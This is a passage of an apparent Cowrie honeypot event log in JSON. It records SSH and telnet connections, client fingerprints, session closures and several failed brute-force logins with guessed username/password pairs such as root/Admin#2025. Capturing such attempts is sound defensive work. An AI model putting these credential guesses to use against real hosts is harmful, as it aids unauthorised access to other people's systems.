","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.245833Z","src_ip":"177.85.247.230","session":"d15d107acbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.694383Z","src_ip":"177.85.247.230","session":"d15d107acbf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2025","message":"login attempt [root/Admin#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:14.815719Z","src_ip":"36.92.41.115","session":"7f2ce31dc108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:15.181916Z","src_ip":"129.146.243.24","session":"26e16f6b41b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:15.254400Z","src_ip":"38.93.206.2","session":"8266cafd859a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:15.801093Z","src_ip":"177.85.247.230","session":"d15d107acbf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:16.077505Z","src_ip":"36.92.41.115","session":"7f2ce31dc108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59464,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8359ba08abb","protocol":"ssh","message":"New connection: 102.213.34.99:59464 (159.203.135.109:22) [session: b8359ba08abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:28.855694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:28.859594Z","src_ip":"102.213.34.99","session":"b8359ba08abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:29.031931Z","src_ip":"102.213.34.99","session":"b8359ba08abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernanda","password":"fernanda","message":"login attempt [fernanda/fernanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:29.746970Z","src_ip":"102.213.34.99","session":"b8359ba08abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:30.920515Z","src_ip":"102.213.34.99","session":"b8359ba08abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34858,"dst_ip":"159.203.135.109","dst_port":23,"session":"d957ff40a687","protocol":"telnet","message":"New connection: 128.199.8.54:34858 (159.203.135.109:23) [session: d957ff40a687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:32.621602Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":48806,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9026875b65","protocol":"ssh","message":"New connection: 45.78.204.254:48806 (10.17.0.5:22) [session: 0c9026875b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:40.798760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:40.803665Z","src_ip":"45.78.204.254","session":"0c9026875b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:41.051882Z","src_ip":"45.78.204.254","session":"0c9026875b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":54920,"dst_ip":"10.17.0.5","dst_port":22,"session":"892b21b21bc0","protocol":"ssh","message":"New connection: 163.7.9.84:54920 (10.17.0.5:22) [session: 892b21b21bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:41.819157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:41.824667Z","src_ip":"163.7.9.84","session":"892b21b21bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:42.074068Z","src_ip":"163.7.9.84","session":"892b21b21bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwert369","message":"login attempt [root/Qwert369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:43.106339Z","src_ip":"163.7.9.84","session":"892b21b21bc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bit","password":"bit","message":"login attempt [bit/bit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:43.496681Z","src_ip":"45.78.204.254","session":"0c9026875b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49520,"dst_ip":"10.17.0.5","dst_port":22,"session":"572318b5780c","protocol":"ssh","message":"New connection: 103.77.175.15:49520 (10.17.0.5:22) [session: 572318b5780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:44.242076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:44.247051Z","src_ip":"103.77.175.15","session":"572318b5780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:44.360029Z","src_ip":"163.7.9.84","session":"892b21b21bc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:44.506578Z","src_ip":"103.77.175.15","session":"572318b5780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:44.746736Z","src_ip":"45.78.204.254","session":"0c9026875b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01021981","message":"login attempt [root/01021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:45.287582Z","src_ip":"103.77.175.15","session":"572318b5780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:46.551523Z","src_ip":"103.77.175.15","session":"572318b5780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46314,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a2952217eb","protocol":"telnet","message":"New connection: 107.6.151.170:46314 (159.203.135.109:23) [session: a6a2952217eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:47.053537Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44984,"dst_ip":"159.203.135.109","dst_port":23,"session":"f96ff9e3ce53","protocol":"telnet","message":"New connection: 172.81.62.90:44984 (159.203.135.109:23) [session: f96ff9e3ce53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:49.055207Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":46448,"dst_ip":"159.203.135.109","dst_port":23,"session":"2be094a56a9c","protocol":"telnet","message":"New connection: 107.6.151.170:46448 (159.203.135.109:23) [session: 2be094a56a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:56.328111Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":33116,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7be43be7fdb","protocol":"ssh","message":"New connection: 87.106.47.28:33116 (10.17.0.5:22) [session: e7be43be7fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:59.801173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:59.806743Z","src_ip":"87.106.47.28","session":"e7be43be7fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:02:59.898644Z","src_ip":"87.106.47.28","session":"e7be43be7fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steam","message":"login attempt [steamcmd/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:00.300280Z","src_ip":"87.106.47.28","session":"e7be43be7fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:01.398942Z","src_ip":"87.106.47.28","session":"e7be43be7fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5856,"dst_ip":"10.17.0.5","dst_port":22,"session":"479c64fa1bc8","protocol":"ssh","message":"New connection: 196.188.93.169:5856 (10.17.0.5:22) [session: 479c64fa1bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:03.902369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:03.908095Z","src_ip":"196.188.93.169","session":"479c64fa1bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:04.075364Z","src_ip":"196.188.93.169","session":"479c64fa1bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root12#$","message":"login attempt [root/Root12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:04.772795Z","src_ip":"196.188.93.169","session":"479c64fa1bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54896,"dst_ip":"159.203.135.109","dst_port":23,"session":"dedafce572b4","protocol":"telnet","message":"New connection: 128.199.8.54:54896 (159.203.135.109:23) [session: dedafce572b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:05.022894Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:05.940832Z","src_ip":"196.188.93.169","session":"479c64fa1bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.32514667510986,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:14.946638Z","src_ip":"128.199.8.54","session":"d957ff40a687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40174,"dst_ip":"10.17.0.5","dst_port":22,"session":"01eeefdb22ee","protocol":"ssh","message":"New connection: 103.122.221.179:40174 (10.17.0.5:22) [session: 01eeefdb22ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:19.836092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:19.839968Z","src_ip":"103.122.221.179","session":"01eeefdb22ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:20.104725Z","src_ip":"103.122.221.179","session":"01eeefdb22ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ginger1","message":"login attempt [root/ginger1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:20.904426Z","src_ip":"103.122.221.179","session":"01eeefdb22ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:22.172116Z","src_ip":"103.122.221.179","session":"01eeefdb22ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":49324,"dst_ip":"159.203.135.109","dst_port":22,"session":"e619bd674a44","protocol":"ssh","message":"New connection: 103.84.236.242:49324 (159.203.135.109:22) [session: e619bd674a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:22.873749Z"}
